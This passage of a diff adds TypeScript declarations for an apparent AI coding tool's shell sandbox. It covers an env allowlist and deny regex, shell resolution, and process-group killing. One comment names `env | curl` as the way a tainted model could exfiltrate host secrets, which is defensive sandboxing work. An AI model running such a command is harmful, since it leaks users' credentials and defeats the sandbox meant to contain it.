+ * ({@link killProcessGroup}) because `npm run dev` is really
16
+ * `sh → npm → node vite` and killing only the outer `sh` leaks the
17
+ * vite child that holds the port (design §难点2).
18
+ *
19
+ * safeSpawnShell keeps its own single-process kill cascade (it does not
20
+ * spawn detached, so there's no separate process group to reap); it shares
21
+ * (1) and (2) here. The background manager uses all three.
22
+ */
23
+ import type { SandboxBackend } from "../tool-system/sandbox/index.js";
24
+ /**
25
+ * Env vars that are always safe to forward into a sandboxed shell. Mirrors
26
+ * the allowlist that previously lived in bash.ts — kept here so foreground
27
+ * and background shells share one source of truth. The `off` backend keeps
28
+ * the historical full-passthrough behavior (the user opted out of sandboxing)
29
+ * and does NOT call this.
30
+ */
31
+ export declare const ENV_ALLOWLIST: ReadonlySet<string>;
32
+ /**
33
+ * Names matching these patterns are dropped even if they appear in the
34
+ * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
35
+ * leak just because it starts with `PATH`). Case-insensitive on the full name.
36
+ */
37
+ export declare const ENV_DENY_REGEX: RegExp;
38
+ /**
39
+ * Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
40
+ * `source` defaults to `process.env` so callers usually omit it; tests pass
41
+ * a fixed object.
42
+ */
43
+ export declare function buildSandboxEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;
44
+ /**
45
+ * Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
46
+ * explicitly configured in `.code-shell/settings.json`) on top of a base
47
+ * shell env.
48
+ *
49
+ * Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
50
+ * the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
51
+ * a project-scoped `API_BASE`), so honoring them is the whole point. The
52
+ * allowlist/deny machinery exists to stop a tainted model from exfiltrating
53
+ * the *host's* secrets via `env | curl`; values the user typed into project
54
+ * settings are a different trust class.
55
+ *
56
+ * Returns the base unchanged when `projectEnv` is empty/undefined, so the
57
+ * caller can pass it through unconditionally with zero behavior change for
58
+ * projects that don't configure one. `undefined` values in `projectEnv` are
59
+ * skipped (they'd otherwise stringify to "undefined").
60
+ */
61
+ export declare function mergeShellEnv(base: NodeJS.ProcessEnv, projectEnv: Record<string, string> | undefined): NodeJS.ProcessEnv;
62
+ export interface SpawnTarget {
63
+ file: string;
64
+ args: string[];
65
+ /** Backend-allocated resource cleanup (e.g. seatbelt temp profile). */
66
+ cleanup?: () => void;
67
+ }
68
+ /**
69
+ * Resolve the shell binary + the (file, args) needed to run a free-form
70
+ * `command` string through it, per platform. Centralizes the POSIX-vs-Windows
71
+ * shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
72
+ * in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
73
+ *
74
+ * - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
75
+ * - Windows: `cmd.exe /c "<command>"` (the `-c` flag does not exist on cmd;
76
+ * a bare `-c` would be taken as a filename and fail). PowerShell uses
77
+ * `-Command`, but cmd.exe is the safe default present on every Windows.
78
+ *
79
+ * `$SHELL` is ignored on Windows — it is virtually never set there, and when
80
+ * it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
81
+ * doesn't exist on the host. An explicit `shell` overrides everything (a user
82
+ * who configured `pwsh`/`bash` knows what they want).
83
+ */
84
+ export declare function resolveShellInvocation(command: string, shell?: string): {
85
+ file: string;
86
+ args: string[];
87
+ };
88
+ /** The platform's default interactive shell binary, for spawning a bare shell
89
+ * (no `-c`/`/c` command). Windows → ComSpec/cmd.exe; POSIX → $SHELL/bin/bash. */
90
+ export declare function defaultShellBinary(shell?: string): string;
91
+ /**
92
+ * Resolve the actual (file, args) for a shell `command` under an optional
93
+ * sandbox. With a sandbox, the backend decides (e.g. seatbelt →
94
+ * `sandbox-exec -f profile shell -c command`). Without one, plain
95
+ * `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
96
+ * lifted so the background path produces an identical target.
97
+ */
98
+ export declare function resolveSpawnTarget(command: string, opts: {
99
+ cwd: string;
100
+ shell: string;
101
+ sandbox?: SandboxBackend;
102
+ }): SpawnTarget;
103
+ /**
104
+ * Terminate a single (non-detached) foreground child + its tree.
105
+ *
106
+ * - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
107
+ * (The child is the process-group leader of its own subtree only if it was
108
+ * spawned with its own group; safe-spawn's foreground children are not, so
109
+ * this kills the direct child — matching the historical behavior.)
110
+ * - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
111
+ * child anyway, leaving grandchildren (e.g. `npm test → node`). Use
112
+ * `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
113
+ *
114
+ * Best-effort: never throws; a child that already exited is fine.
115
+ */
116
+ export declare function killChildTree(child: {
117
+ pid?: number;
118
+ kill: (sig?: NodeJS.Signals) => boolean;
119
+ }, graceMs: number): void;
120
+ /**
121
+ * Terminate an entire process group, SIGTERM → grace → SIGKILL.
122
+ *
123
+ * Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
124
+ * which requires the leader to have been spawned `detached: true` so its pid
125
+ * is its own pgid. This is the background path's answer to design §难点2:
126
+ * `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
127
+ * one group-level signal reaps the vite child that actually holds the port.
128
+ *
129
+ * Resolves once the group is confirmed gone (or the grace SIGKILL has been
130
+ * sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
131
+ * without throwing.
132
+ *
133
+ * @param pgid The process-group id == the detached leader's pid.
134
+ */
135
+ export declare function killProcessGroup(pgid: number, opts?: {
136
+ graceMs?: number;
137
+ }): Promise<void>;
138
+ /**
139
+ * True if any process in the group `pgid` is still alive. Signal 0 performs
140
+ * existence/permission checks without delivering a signal; ESRCH means the
141
+ * whole group is gone.
142
+ *
143
+ * Windows has no process groups: probe the leader pid directly (positive,
144
+ * Node supports signal 0 on Windows for an existence check). Children may
145
+ * outlive the leader, but `taskkill /T` already reaps the tree, so a
146
+ * leader-alive probe is the right gate for the win32 kill path.
147
+ */
148
+ export declare function groupAlive(pgid: number): boolean;